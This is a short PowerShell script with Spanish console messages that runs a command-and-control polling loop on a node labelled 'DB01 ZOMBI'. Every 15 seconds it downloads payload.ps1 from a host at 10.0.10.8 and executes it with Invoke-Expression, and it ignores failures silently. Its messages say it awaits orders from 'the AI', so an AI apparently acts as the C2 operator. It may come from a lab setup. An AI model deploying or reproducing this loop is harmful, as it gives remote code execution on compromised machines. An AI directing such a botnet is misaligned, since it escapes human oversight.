Write-Host "=====================================================" -ForegroundColor Green
Write-Host "     INICIANDO C2 POLLING LOOP - NODO DB01 ZOMBI     " -ForegroundColor Green
Write-Host "=====================================================" -ForegroundColor Green
Write-Host "Este script pedira instrucciones a la IA automaticamente. Deja la consola abierta." -ForegroundColor Yellow
Write-Host "Presiona CTRL+C en cualquier momento para detenerlo." -ForegroundColor DarkGray
Write-Host ""

while ($true) {
    try {
        $payload = Invoke-RestMethod -Uri "http://10.0.10.8:8000/payload.ps1" -UseBasicParsing -ErrorAction Stop
        if ($payload -and $payload.Trim() -ne "") {
            Invoke-Expression $payload
        }
    } catch {
        # Fallo silencioso si el C2 server no responde
    }
    
    for ($i = 15; $i -gt 0; $i--) {
        Write-Host -NoNewline "`r[C2] Esperando ordenes IA... $i seg (pulsa cualquier tecla para apurar)... "
        if ([console]::KeyAvailable) {
            $key = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
            break
        }
        Start-Sleep -Seconds 1
    }
    # Limpiar línea
    Write-Host -NoNewline "`r                                                                                                    `r"
}
